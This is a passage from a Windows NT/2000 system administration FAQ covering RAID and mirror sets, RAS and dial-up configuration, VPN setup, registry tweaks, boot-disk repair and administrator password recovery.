  5. Select a disk to use as the replacement from the list and click OK
    Selecting a repair disk
  6. The set will then be shown as regenerating.

You are now fault tolerant again. The RAID5 partition will have been removed from the 'missing' disk.

If you had other partitions on the disk that was removed delete them by right clicking on the partition and selecting 'Delete Volume...'. You should now right click on the 'Missing' text and select 'Remove Disk' from the context menu.

If you ever put back the original disk it would be displayed as "Foreign". To read in this disk see 'Q. How do I import a foreign volume in Windows 2000?'


Q. How do I create a mirror set (RAID 1) in Windows 2000?

A. All members of a RAID 1 volume set have to be on a dynamic disk. To convert a disk from basic to dynamic see 'Q. How do I convert a basic disk to dynamic?'.

To create a RAID 1 set perform the following:

  1. Start the Computer Management MMC (Start - Programs - Administrative Tools - Computer Management)
  2. Expand the Storage branch and select 'Disk Management'
  3. Right click on the partition you want to mirror and select 'Add Mirror..' from the context menu shown
  4. Select the disk that will host the mirror and click 'Add Mirror'
    Add Mirror
  5. If you are mirroring the boot partition a dialog will be shown detailing changes to be made to boot.ini to enable mirror booting. Click OK

The Mirror set will show as Regenerating.

What a complex set of disks I have :-)


Q. How do I break a mirror set (RAID 1) in Windows 2000?

A. Breaking a mirror will not result in data loss, you will be left with two single volumes with duplicate data.

To break a RAID 1 set perform the following:

  1. Start the Computer Management MMC (Start - Programs - Administrative Tools - Computer Management)
  2. Expand the Storage branch and select 'Disk Management'
  3. Right click on the mirror volume to be removed and select 'Break Mirror..' from the context menu shown
  4. Click Yes to the confirmation dialog
  5. Another dialog may be shown warning of possible data loss on the broken mirror, click Yes to the continue dialog.

You will then be left with two volumes, you may want to delete the now unwanted ex-mirror to avoid any confusion.

You would have noticed on step 3 another option "Delete Mirror..", this removes both volumes making up the mirror losing any data on them.


Q. How do I connect two Workstations using RAS?

A. NT Workstation supports one inbound RAS connection so one NT station will be the RAS server, and one will be the client. The procedure below is what I did to connect two machines.

Server

If RAS is already installed

  1. Goto Control Panel, and double click Network
  2. Goto Services and click on “Remote Access Server”, and click Properties
  3. Click on the Port and click Configure
  4. Select “Dial Out and Receive” or just Receive
  5. Click Continue
  6. Select if user can access Just Computer or Entire Network for NetBEUI
  7. Click Continue and fill in details for TCP/IP, For this setup we will assume the dial in client will have a TCP/IP address so check the box “Allow clients to use preconfigured address”
  8. Click OK and then close
  9. You will then be prompted to restart the computer

If RAS is not already installed, goto “My Computer” and double click “Dial-up Networking”, it will then detect your modem and then take you to step 3 as above.

Client

This assumes RAS is not installed

  1. Goto “My Computer”, and double click “Dial-up Network”
  2. You will be asked for the NT CD, and it will install Modem and RAS
  3. It will then detect any modems, once the modem has been found click continue
  4. It will then say the phone book is empty and you should add an entry. Give a name and select “Next” (do not select “I know about modem properties” unless you do”)
  5. Select “I am calling the Internet” and click Next
  6. Enter the phone number and click Next, then click Finish
  7. Select the entry, and click More, select Edit Entry
  8. Goto server Tab, and check NetBEUI and TCP/IP. Click TCP/IP details and fill in then press OK. Finally click OK again.
  9. Select the PhoneBook entry and click Dial.
  10. The first time you connect you will have to supply a username, password and domain (select “save password” so this information does not have to be entered again).


Q. Is it possible to dial an ISP using the command line?

A. Yes, use RASPHONE -d <entry> or RASDIAL <entry>

To disconnect you can type RASPHONE -h <entry> or RASDIAL /disconnect.


Q. How can I stop the RAS connections closing when I logoff?

A. Perform the following:

  1. Start the registry editor (regedt32.exe, not regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. Create a new value called KeepRasConnections of type REG_SZ
  4. Set the new value to have a value of 1


Q. How can I create a RAS Connection Script?

A. It is possible to write a script that will run when you connect during a RAS connection to automate actions such as entering your username and password. To specify a script perform the following

  1. Double click on My Computer and start up the Dial-up Networking applet
  2. Select the phonebook entry and click More.
  3. From the More menu select "Edit entry and modem properties"
  4. Click the Script tab and select "Run this script"
  5. Click the "Edit script..." button and the SWITCH.INF file will be opened
  6. Go to the bottom of the file and create a new connection section and then select exit
  7. Answer Yes to save changes
  8. Click the "Refresh List" button and the new entry will now be displayed.
  9. Select the new entry you created and click OK.

An example addition to the SWITCH.INF would be

; the phonebook entry
[Savill1]
; send initial carriage return
COMMAND=<cr>
; wait for : (after username, may be different at your site) omit the U as it may be capitals. You could just have :
OK=<match>"sername:"
LOOP=<ignore>
; send username as entered in the connection dialog box, alternaticly you could just enter the username e.g. savillj<cr>
COMMAND=<username><cr>
; wait for : (after password this time, may be different at your site)
OK=<match>"assword:"
LOOP=<ignore>
; send the password entered in the connection dialog box, again you could just manually enter the password, e.g. password<cr>
COMMAND=<password><cr>
NoResponse
; send the "start ppp" command
COMMAND=ppp default<cr>
OK=<ignore>

In depth information on all of the commands can be found in the SWITCH.INF file.


Q. How can I debug the RAS Connection Script?

A. It is possible to create a log file of the connection by performing the following steps

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\Parameters
  3. Double click on Logging
  4. Change the value data to 1 and click OK
  5. Close the registry editor
  6. Restart the computer

Each dial-up session will now be appended to the file %systemroot%/system32/RAS/device.log. To stop logging perform the steps above but set the value back to 0.


Q. How do I configure RAS to connect to a leased line?

A. The method will vary depending on your systems current setup, however assuming you have RAS already installed below are the actions needed to configure in your leased line. It is assumed the modems (at both ends) are configured correctly for leased line usage (&D0 for DTR override).

  1. Start the Modem control panel applet (start - settings - control panel - modems)
  2. Click Add
  3. Check the "Don't detect my modem, I will select it from a list" and click Next
  4. In the Manufacturers box select "Standard Modem Types" and in the Models area select "Dial-Up Networking Serial Cable between 2 PCs", click Next
  5. Select the port, e.g. COM1 and click Next
  6. You now have a modem setup ready for leased line use

You should now configure the RAS connection (server/client) in the normal way (use the RAS service properties).

  1. Right click on Network and select properties, click the services tab and select RAS, click Properties.
  2. Select the COM port and click Configure
  3. Select the connection type dial in/dial out/both and click OK. Click Continue
  4. You will be asked about NetBEUI client Access, select the desired and click OK
  5. If you selected server you will be prompted for TCP/IP access and also which IP addresses should be given, either by DHCP (if configured) or from a given pool of addresses. You can also check the box to allow a client to request a specific IP address
  6. Click Close in the Network dialog box, the bindings of the machine will be updated and you will be asked if you want to reboot. Click Yes

Once this has been done you may also want a phonebook entry for outgoing use as you would normally except under the Dialing section check the "Persistent connection" box.


Q. How can I disable RAS AutoDial?

A. The easiest way to do this is to disable the RAS AutoDial service:

  1. Start the services control panel applet (start - settings - control panel - services)
  2. Scroll down to "Remote Access AutoDial Manager" and select
  3. Click the Startup button and change the startup to Manual. Click OK
  4. If you want to stop if now just click the Stop button
  5. Click the Close button

To re-enable you would repeat the above but change the startup to automatic.


Q. RAS tries to dial out even on local resources.

A. Perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\RAS Autodial\Addresses (a better way to view these is to type "rasautou -s" from the command prompt)
  3. In the subkeys look from the local address (and name). If you find it select the key and select Delete from the Edit menu.
  4. Close the registry editor

You may also wish to add addresses to the disabled list:

  1. Start the registry editor (regedt32.exe not regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\RAS Autodial\Control
  3. Double click on DisabledAddresses and add the address on a new line. Click OK when finished
  4. Close the registry editor

You will need to reboot the machine in both of the above cases.


Q. I have connected via RAS to a server however I can only see resources on the machine I connect to.

A. When you configure the RAS server you set for each protocol the scope of the connection, the server or the whole network. To change this perform the following:

  1. Start the Network Control Panel Applet (Right click on Network and select properties)
  2. Select the Service tab and select the Remote Access Service and click Properties
  3. Select the COM port and click the Network button
  4. Click the Configure button next to the protocol you wish to change access (e.g. TCP/IP)
  5. At the top check the "Entire network" button
  6. Click OK

Clients should now be able to view the entire network.


Q. How do I force the "Logon Using Dialup Networking" to be checked by default on the logon screen?

A. This can be accomplished with a registry change on each client machine.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. From the Edit menu select New - String Value (REG_SZ type)
  4. Enter a name of RASForce
  5. Double click the new value and set to 1
  6. Close the Registry editor
  7. Reboot the machine


Q. Where are the RAS phone book entries and settings stored?

A. The actual phone book entries are stored in the file %systemroot%/system32/ras/rasphone.pbk (pbk - phone book). You could therefore copy this file to another machine to copy the phone book entries.

Another important file is %systemroot%/system32/ras/switch.inf which is used to create terminal login scripts (as discussed earlier in this section), and you may find phone book entries may refer to an entry in this file at the end of the entry:

DEVICE=switch
Type=Terminal

In this case, Type=Terminal means bring up a terminal window after connection so it does not use switch.inf,

DEVICE=switch
Type=Pipex

would cause the script "Pipex" (which is in switch.inf) to be run once a connection has been made. If these two lines are missing don't worry, it just means you don't need a terminal window once you have connected (probably means you are connecting to a Windows NT box). Usually if you connect to a non-NT machine you have to send it a username and password, along with the connection type (protocol), which is usually PPP on most modern systems, SLIP is an older option.

RAS information relating to phone book entries and outbound connections in the registry is actually stored under HKEY_CURRENT_USER\Software\Microsoft\RAS Phonebook, and contains details about redial attempts, display settings etc. Again you export this section of the registry to a reg file (using regedit.exe) and import into another machine to copy the machine specific settings.


Q. How can I change the number of rings that RAS server waits for before answering?

A. The normal method is to edit the file %systemroot%\system32\ras\modem.inf. Edit the file, find the sections relating to your modem and find the line

COMMAND_LISTEN=ATS0=1<cr>

Change the numeric value to the number of rings to answer after, e.g.

COMMAND_LISTEN=ATS0=10<cr>

would answer after 10 rings (you must really hate your users, don't we all :-) ). You must restart Windows NT for this change to take effect.

The above does not work if RAS is using any TAPI (Telephony Application Programming Interface )/Unimodem-based devices. If this is the case perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\Parameters
  3. From the Edit menu select New - DWORD Value.
  4. Enter a name of NumberOfRings and press Enter
  5. Double click on this new value and set to the number of rings you want the RAS Server to wait before answering the phone (1-20). Any number greater than 20 and the default value of 1 is used. Click OK
  6. Close the registry editor


Q. How can I configure how long RAS Server waits before calling back a user when callback is enabled?

A. By default the RAS Server will wait 12 seconds before calling back a RAS client however this can be changed by editing the registry.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\PPP
  3. From the Edit menu select New - DWORD Value.
  4. Enter a name of DefaultCallbackDelay and press Enter
  5. Double click on this new value and set to the number of seconds you want the RAS Server to wait before dialing the client (1-255). Click OK
  6. Close the registry editor


Q. Whenever I connect via RAS I cannot connect to local machines on my LAN.

A. To enable WWW and FTP browsing when you connect via RAS you enable the "use default gateway on remote network" of the RAS options. This has the effect of when the connection is made a new route is added to the route list superseding the existing LAN routes so any traffic destined for a node outside your local subnet will attempt to be sent using the RAS route. This is because a metric is used to identify the number of hops needed and once connected to RAS it will have a metric 1 and existing routes will be bumped out to a metric of 2.

To solve this a persistent route can be manually added for your LAN's subnet and the associated subnet gateway. While not connected via RAS you can examine your route information using the ROUTE PRINT command:

If your network was 160.82.0.0 (your company has a class B address) and the gateway was 160.82.220.1 for your local subnet you can add a route for the LAN only and all addresses outside of 160.82.0.0 will be routed using the RAS gateway.

C:\>route -p add <ip network> mask <subnet mask> <local gateway for the route>
e.g. C:\>route -p add 160.82.0.0 mask 255.255.0.0 160.82.220.1

This would mean all addresses from 160.82.1.1 to 160.82.254.254 would be routed via 160.82.220.1 and anything else via the RAS gateway.

If you wanted to add a route for a single host (maybe your internet firewall which is on another subnet) use the following:

C:\>route -p add 192.168.248.8 mask 255.255.255.254 160.82.220.1

Notice the subnet mask of 255.255.255.254 which means only for this single host.

When connected via RAS you will still be able to access resources outside of your local subnet on the LAN with no problems.


Q. How can I disable the "Save Password" option in dial-up networking?

A. When you connect via RAS you can cache the password. If you feel this is a security problem then you can disable the option to enable the password to be saved.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\RasMan\Parameters
  3. From the Edit menu select New - DWORD value
  4. Enter a name of DisableSavePassword and press ENTER
  5. Double click the new value and set to 1

If you disable the "save password" make sure "redial on link failure" is not activated as one redial attempts as it does not save user information it will attempt to connect as Administrator which will not work (unless the ISP has very poor security :-) ).


Q. How can I set the number of Authentication Retries for Dial-Up connections?

A. By default after two unsuccessful authentication attempts the dial-up networking (DUN) component will hang up the line however this can be changed to between 0 and 10. 0 means the line will be hung up after the first attempt, 1 will allow one retry etc.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Parameters
  3. Double click on AuthenticateRetries and set to the required value. Click OK
  4. Close the registry editor
  5. Reboot the machine for the change to take effect (or stop and restart the RAS services)


Q. How can I set the Authentication Time-out for Dial-Up connections?

A. As well as changing the number of Authentication Retries that are allowed, the amount of time between each attempt can also be configured and after that time has elapsed it will count as a logon failure. This can be between 20 and 600 seconds.

  1. Start the registry editor
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Parameters
  3. Double click on AuthenticateTime and set to the required value. Click OK
  4. Close the registry editor
  5. Reboot the machine for the change to take effect (or stop and restart the RAS services)


Q. Enabling 128-bit RAS Data Encryption.

A. Service Pack 3 (128 bit version) introduced the ability to use 128-bit RAS data encryption with a Windows NT 4.0 RAS server as opposed to the normal 40-bit encryption.

To enable this 128-bit encryption perform the following:

  1. Start the Network control panel applet (Start - Settings - Control Panel - Network)
  2. Select the services tab
  3. Select Remote Access Service and click Properties
  4. Click Network then Require Microsoft encrypted authentication
  5. Click Require data encryption and click OK
  6. Click continue and close the Network control panel applet
  7. Do not restart the computer at this point

It is now necessary to enable the 128-bit setting:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\PPP\COMPCP
  3. From the Edit menu select New - DWORD value
  4. Enter a name of ForceStrongEncryption and press Enter
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor
  7. Reboot the computer

After reboot is completed clients connecting via RAS or PPTP will have to authenticate using 128-bit key encryption. A number of event logs can be viewed using Event Viewer (Start - Programs - Administrative Tools - Event Viewer).

If a successful connection is made you will see the log:

Event ID: 20107
Source: RemoteAccess
Description: The user RAS connected to port COMx using strong encryption

If the connection was unsuccessful you will see entry

Event ID: 20077
Source: RemoteAccess
Description: An error occurred in the Point to Point Protocol module on port COMx. The remote computer does not support the required encryption type.

The client attempting connection would also receive a 629 error.


Q. Why does my RAS client have the wrong subnet mask, etc.?

A. The only parameter from DHCP that the RAS client uses is the IP address. Other parameters come as follows:

The subnet mask is that used by the NIC in the workstation, if fitted. IPCONFIG shows the mask as being the default mask for the class of IP address in use but this is irrelevant. MS used to display it as 0.0.0.0 which is clearly wrong, but the default is more subtly wrong. If there is no NIC in the client, then the subnet mask is irrelevant as all traffic is passed through the dial-up connection.

The default router is displayed as the same as the address of the client RAS interface. What is actually used as default router is the RAS server itself.

WINS server addresses and DNS server addresses for use by the client similarly do not come from the parameters set on the DHCP server but instead are those used by the RAS server itself.

Node Type is not taken from the DHCP parameters but can change on the RAS client depending on WINS information. If the RAS server has no WINS servers defined locally, a b-node Windows NT RAS client will remain a b-node client. If the RAS server has WINS servers defined locally, a b-node Windows NT RAS client will switch to h-node for the duration of the connection.

More information can be found in knowledge base article Q160699 at http://support.microsoft.com/support/kb/articles/q160/6/99.asp


Q. How long is the lease on the IP address when issued to a RAS client from DHCP?

A. When a RAS server is set to allocate IP addresses from DHCP, it grabs n+1 addresses when the service starts, (where n is the number of dial-up interfaces), and keeps them. Therefore, the lease time is largely irrelevant. When a client dials in, the RAS server issues one of these cached leases and the RAS server maintains the lease on behalf of the client. The RAS server only records the address of the DHCP server and the lease parameters. All other DHCP options are discarded.

You may notice that, if you use IPCONFIG or WINIPCFG on a RAS client to look at lease information, it has null dates (ie. Jan 1, 1980). When the client disconnects, the IP address will be released back to the RAS server, NOT back to the DHCP server. This causes a lot of confusion when people expect to get their IP addresses back to the DHCP server. These will only be released back to DHCP when the RAS service is stopped and then the lease expires in due course.

Thanks to Peter Smith


Q. How can I disconnect users from the RAS server?

A. It is possible to disconnect any user using the "Remote Access Admin" utility:

  1. Start the Remote Access Admin utility (Start - Programs - Administrative Tools - Remote Access Admin)
  2. Select the domain or server in the main window
  3. From the Users menu select 'Active Users'
  4. Select the account you wish to disconnect and click the 'Disconnect User' button.
  5. Click OK to the confirmation

If you also wanted to revoke the users dial-in permission check the 'Revoke Remote Access Permission' check box from the dialog.


Q. How can I disable the modem speaker when dialing?

A. Its possible to disable the modem speaker in a number of ways. The easiest method is to use the RAS properties:

  1. Double click 'My Computer'
  2. Double click "Dial-Up Networking'
  3. Select the Dial-up connection, click More and select 'Edit entry and modem properties'
  4. Select the Basic tab and at the bottom next to 'Dial using:' click Configure
  5. At the bottom of the Modem Configuration dialog is a 'Disable modem speaker' check box, check it and click OK
  6. Click OK to the main dialog and close all other dialogs

An alternative (and you may try this if the above fails to work) is to edit the dial string and add the control sequence for your modem to disable the speaker, its normally M0 however this can vary.

  1. Start the Modem control panel applet (Start - Settings - Modems)
  2. Select the modem and click Properties
  3. Select the Connection tab
  4. Click the Advanced button and the bottom of the dialog
  5. In the 'Extra settings' box enter the command string to disable the speaker, e.g.
    M0
  6. Click OK to the dialogs


Q. How can I limit RAS callers to see only the machine they connect to rather than the whole network?

A. When you configure the RAS server, you set for each protocol the scope of the connection, the server or the whole network. To change this perform the following:

  1. Start the Network Control Panel Applet (Right click on Network and select properties)
  2. Select the Service tab and select the Remote Access Service and click Properties
  3. Select the COM port and click the Network button
  4. Click the Configure button next to the protocol you wish to change access (e.g. TCP/IP)
  5. At the top check the "This computer only" option
  6. Click OK

Clients should now be able to only view local RAS server connections.


Q. How do I install the Windows 98 Virtual Private Network adapter?

A. Windows 98 contains the Virtual Private Network as standard and to install perform the following:

  1. Start the Network Control Panel Applet (Start - Settings - Control Panel - Network or right click on Network Neighborhood and select Properties)
  2. Select the Configuration tab
  3. Click Add
  4. Select Adapter and click Add
  5. Under Manufacturers select Microsoft and select "Microsoft Virtual Private Networking Adapter" in the Network Adapters box. Click OK
  6. You may be asked for the Windows 98 CD.
  7. Reboot the machine

Once the machine has rebooted to create a new VPN connection start the Dial-Up Networking software and double click the 'Make New Connection'.

Under the device select "Microsoft VPN Adapter", click Next and enter the host name or IP address of the VPN server.

To make a connection dial into the Internet then double click the VPN connection, enter a username and password and you are connected!


Q. How do I install the Point To Point Tunneling Server?

A. Windows NT Server contains the Point To Point Tunneling Protocol as standard and to install perform the following:

  1. Start the Network Control Panel Applet (Start - Settings - Control Panel - Network or right click on Network Neighborhood and select Properties)
  2. Select the Protocols tab
  3. Click Add
  4. Select "Point To Point Tunneling Protocol"
  5. Click OK
  6. You will be asked for the installation media. Enter the location and click Continue. If RAS is not currently installed it will be installed at this point.
  7. You will be asked for the number of private networks and click OK
  8. The Add RAS Device dialog will be displayed. Select "VPN1 - RASPPTMPM" and click OK. By default the connection will be configured to receive calls only, to change click Configure. Keep clicking Add to add more VPN devices (VPN2 etc.) Click Continue when all VPN devices have been added.
  9. Select TCP/IP options for RAS if it was not already configured. Click OK
  10. Click Close to the Network dialog
  11. Reboot the machine

Once the machine has rebooted it will operate as a Virtual Private Network server. Make sure any users who want to logon to it have RAS dial in rights (as configured using User Manager).

If you experience any problems with protocols make sure that the RAS server has the protocols configured, e.g. TCP/IP correctly. This can be done by starting the Network Control panel applet, select Services, select RAS and click Configure. Select the VPN port and click Network. You can then configure TCP/IP etc., ensure there are no problems with addresses etc.

Extra VPN connections can also be configured by clicking Add and selecting VPN2, VPN3 etc. You can only have simultaneous VPN connections for the number of VPN devices on the server.


Q. How do I install the Windows NT Virtual Private Network client?

A. Windows NT contains the Virtual Private Network as standard and to install perform the following:

  1. Start the Network Control Panel Applet (Start - Settings - Control Panel - Network or right click on Network Neighborhood and select Properties)
  2. Select the Protocols tab
  3. Click Add
  4. Select 'Point To Point Tunneling Protocol' and click OK
  5. You may be asked for the Windows NT CD.
  6. Select the number of virtual private networks and click OK
  7. The RAS setup dialog will be shown. Click Add
  8. Select 'VPN1 - RASPPTPM' and click OK
  9. Click Continue to the RAS dialog
  10. Click Close on the Network dialog
  11. Reboot the machine

Once the machine has rebooted to create a new VPN connection start the Dial-Up Networking software and double click New.

Under the device select "Microsoft VPN Adapter", and under Phone number the host name or IP address of the VPN server.

To make a connection dial into the Internet then select the VPN connection, enter a username and password and you are connected!

You can check PPP is working by using the IPCONFIG command

PPP adapter NdisWan4:
IP Address. . . . . . . . . : 200.200.200.16
Subnet Mask . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . : 200.200.200.16


Q. How can I remove the dial-up networking icon from My Computer?

A. The dial-up networking icon can be removed by editing the registry as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace
  3. Select {a4d92740-67cd-11cf-96f2-00aa00a11dd9}
  4. This step is optional but from the Registry menu select "Export Registry File". Enter a name for the reg file which will be created. This file will allow you to automatically undo this if you wish.
  5. Press the Del key to delete the key.
  6. Click Yes to the deletion confirmation dialog
  7. Dial-up networking will no longer be visible from My Computer

To restore it using your reg file just double click on the reg file from Explorer and dial-up networking will be restored.


Q. I've connected two computers using two 56K modems but I never connect at more than 33Kb, why?

A. The problem is that your modems cannot send faster than 33.6k. The 56k technologies, such as X2, K56flex and the new standard V.90 are asymmetric - 56k from a service such as an ISP to you, and 33.6k (maximum negotiated rate, may be less) from you to an ISP.

Having one of your V.90 modems call the other won't create a connection faster than 33.6k since neither side can transmit faster than 33.6k. The 56Kb is possible because the line from your house to the telephone company switching office is analog, and that the rest of the path from the CO to the service (ISP) is 100% digital. At the service end, they specifically install digital modems designed to operate as the service end of V.90/X2/K56flex connection.

This means you would need on of the boxes the same kind of modem that an ISP would buy. You may find however that you can't get one of those without also having the digital phone circuit to connect it to.

If you need 56Kb look at ISDN. The easiest way to setup a system which can accept 56K V90 incoming connections is to get an ISDN2 or home highway and a 3COM Courier-I modem. The Courier-I can act as a standard and ISDN modem. It will also act in V90 mode as a server it it detects an incoming analogue call across the ISDN.


Q. My modem is not supported by RAS, what can I do?

A. Windows NT RAS has support for Unimodem modems and can be configured as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ras\Protocols
  3. From the Edit menu select New - DWORD value
  4. Enter a name of EnableUnimodem and press enter
  5. Leave as the default value of 0
  6. Close the registry editor

Once enabled you will only have the options to select from the list of modems (in modem.inf) and not 'Have disk' or 'Install Modem' option.

If your modem does not exist on the list of modems download the modems .inf file from the manufacturer and copy to modem.inf in the %systemroot%\system32\RAS or just add details to the original modem.inf file. Make sure you backup the original modem.inf file.

Run the Network control panel applet and select services. Select Remote Access Services and click Properties. Remove any ports currently defined and click Add, add the ports and RAS will use the MODEM.INF file to get initialization information for the modem.


Q. I get error 'There is no answer' from the PPTP server, why?

A. This is caused by either the RAS Connection Manager and Remote Access Server cannot be started or they are set to manual startup.

To fix just start the RAS Connection Manager and RAS and change the RAS Connection Manager startup to automatic using the Services control panel applet.

To test try to PING the PPTP server over the internet.

Another possibility (I spent forever trying to figure it out) when connecting to a pptp server with ms proxy 2.0. see the kb article here http://support.microsoft.com/support/kb/articles/Q176/9/24.ASP. In the packet filtering (ms proxy setting) you must add 'pptp receive' to get it to work.


Q. DEVICE.LOG does not capture modem commands, what can I do?

A. When you use a Unimodem the device.log no longer captures the command however you can create an alternate log file to capture the modem commands:

  1. Start the Modems control panel applet (Start - Settings - Control Panel - Modems)
  2. Select the modem for which a log file should be created
  3. Click Properties
  4. Click the Connection tab
  5. Click Advanced
  6. Select the 'Record a Log File' check box. There is no need to restart the computer

The log file will be created in the %systemroot% directory with name MODEMLOG_<modem>.TXT.


Q. How do I create a dial-up connection in Windows 2000?

A. Windows 2000 has removed the segregation between LAN and dial-up connections, they are all just connections now.

To create a Dial-up connection to an ISP or your work you need to create a new connection using a modem as the connection medium:

  1. From the Start menu select 'Network and Dial-up Connection'
  2. Double click 'Make New Connection'
  3. Click Next to the introduction wizard
  4. Select 'Dial-up to the Internet' and click Next
  5. Select 'I want to set up my Internet connection manually' and click Next
  6. Select 'I connect through a phone line and a modem' (if you are using ISDN you would select local area network). Click Next
  7. Make sure your modem is connected and turned on, check the 'Don't detect my modem' box is not selected anc click Next
  8. If it can't find your modem click Next and you can choose it from a list.
  9. Enter the phone details of the ISP. Click Next
  10. Enter your username and password and click Next
  11. Finally give it a name, for example 'Connection to UUnet'. Click Next
  12. You will be asked if you wish to setup mail. Make your choice and click Next
  13. Click Finish

Your new connection will now be visible from 'Network and Dial-up Connections'. To change its properties right click on the connection and select Properties.


Q. When loading a program, I get the error message "RASMAN.DLL failed to load".

A. This can happen if you have uninstalled RAS. The official way to detect whether RAS is installed or not is to check for a certain file.

Unfortunately that file doesn't get deleted when RAS is uninstalled, so the program thinks that RAS is still installed.

If you delete the WINNT\SYSTEM32\RASAPI32.DLL file manually, the program will realize that RAS has been uninstalled and it will not try to initialize RASMAN.DLL


Q. How can I enable 4.0 RAS servers in a Windows 2000 domain?

A. When you run DCPROMO.EXE to create your Windows 2000 domain one of the stages asks if you wish to weaken security to enable 4.0 servers to act as RAS servers. If you said No but later decide you require this enter the following command:

C:\> net localgroup "Pre-Windows 2000 Compatible Access" everyone /add

This creates a local group "Pre-Windows 2000 Compatible Access" and adds the everyone group to it. After entering the command you must restart the domain controller.


Q. How can I disable 4.0 RAS servers in a Windows 2000 domain?

A. When you run DCPROMO.EXE to create your Windows 2000 domain one of the stages asks if you wish to weaken security to enable 4.0 servers to act as RAS servers. If you said Yes but later decide you don't require this enter the following command:

C:\> net localgroup "Pre-Windows 2000 Compatible Access" everyone /delete

This removes everyone from the local group "Pre-Windows 2000 Compatible Access". After entering the command you must restart the domain controller.

Security may be compromised when enabled because it allows anonymous users to read information in this domain. When Windows NT 4.0 RAS servers no longer exist in the domain, you can remove legacy access to Active Directory by using the command above.


Q. How can I get the Dial-Up Networking information in Windows 2000?

A. In Windows NT 4.0 if you select Properties for a live connection you got details such as connected speed, bytes in, bytes out, duration etc.

If you right click on the connection and select Status in Windows 2000 you get less information (although presented better). You can still get the old NT 4.0 connection information by running:

rasphone -s

This will start the Dial-Up Networking monitor and display NT 4.0 format connection information.


Q. How do I create an Emergency Repair Disk?

A. From the Start Menu, select Run, and type RDISK. Click on Update Repair Info. It will then recreate the repair information stored in the winnt\repair directory. It will ask if you want to create a repair disk, insert a blank formatted disk and select Yes. RDISK /S updates the information in the %systemroot%/repair and also the SAM and SECURITY keys. Permissions on the repair should be strict as a user with access to the files could create a repair disk and use it to crack the system passwords.


Q. How do I create an NT Boot Disk?

A. Follow the steps below

  1. Format the disk using NT, this is so the boot sector of the disk can find Ntldr (puts NT boot loaded into sector 0)
  2. Copy over Ntldr, NTdetect.com and Boot.ini
  3. If you have a non-SCSI enabled BIOS and use a SCSI adapter you will also need Ntbootdd.sys, for example if you have a SCSI driver such as AHA154x.SYS copy it to the disk as Ntbootdd.sys.

You can then boot off of this disk, it will look at the existing NT partition and load the kernel as usual. This is useful for a mirrored system as you could edit the boot.ini file and change the disk, e.g.

multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00"

could be changed to

multi(0)disk(0)rdisk(1)partition(1)\WINNT="Windows NT Workstation Version 4.00"

if the mirror was the first partition on the second NT disk.


Q. I get the error "Can't find NTLDR"

A. This is a core file which must be in the root directory, and that fact that it cannot find it may mean other files are also missing, however to fix this problem perform the following:

  1. Boot the system with a DOS bootable floppy disk (if it is a FAT partition). If it is a NTFS partition use the NT boot disk shown in the above step
  2. In the i386 directory of the CD-ROM there will be a file NTLDR._, which is the compressed version of NTLDR.
  3. You can expand this file using expand.exe that comes with DOS and Windows for Workgroups
    expand d:\i386\ntldr._ c:\ntldr.


Q. How do I recover a lost administrator password?

A. If there are no other accounts in the administrator group, and the machine is not part of a domain where the Domains Administrator account could be used to logon and change the local Administrator password (the domain's Administrator group is automatically made a member of the machines Administrator group when the machine joins the domain) then the only way is to reinstall NT into a new directory (not the same, as it will upgrade and see the old password) and it will let you enter a new Admin password. Also if you have an old ERD that you knew the password at time of making, you could use this and restore the SAM and security portions of the registry.

There is also a piece of software from http://www.winternals.com that can break into an NT system (LockSmith) that will change any password. The software is not free, and will cost around US$100. Their new product, ERD Professional can also change passwords and is available from the same site.

A similar piece of software is also available from http://www.mirider.com that allows you to boot off of a set of disks and change the Administrator password.


Q. I have set a drive to no access, now no-one can access it.

A. Logon as an Administrator and then perform the following

  1. Start Explorer
  2. Right click on the drive, and select Properties
  3. Select the Security tab, and click on Ownership
  4. Click "Take Ownership"
  5. Messages will be displayed "You do not have access to the directory, do you wish to set the protection to Full Access", to which you should click Yes


Q. If I copy a file with Explorer or from the command line, the permissions get lost.

A. The only time a file keeps it permissions if is it is moved on the same partition. If it is copied it inherits the protection of the owning directory (a move across drives is a copy and delete). Also FAT does not support permissions so anything copied to FAT will lose protections.


Q. How can I get my taskbar back?

A. Press Ctrl-Alt-Del, then select Task Manager, click the applications tab, select New Task, and type Explorer.


Q. I get the error "NTOSKRNL.EXE missing or corrupt" on bootup.

A. This is usually due to an error in the boot.ini file. The entry for NT is either missing or incorrect. Edit the boot.ini file and check the entry for NT is correct, for example for an IDE disk the entry should look something like

multi(0)disk(0)rdisk(0)partition(2)\winnt="Windows NT workstation"

Check that disk and partition are correct. If you have recently added a new disk or altered the partitions try changing the disk() and partition() values. If you are sure everything is OK, then the actual file may be corrupt so copy NTOSKRNL.EXE off of the installation CD onto the %systemroot%/system32 directory.

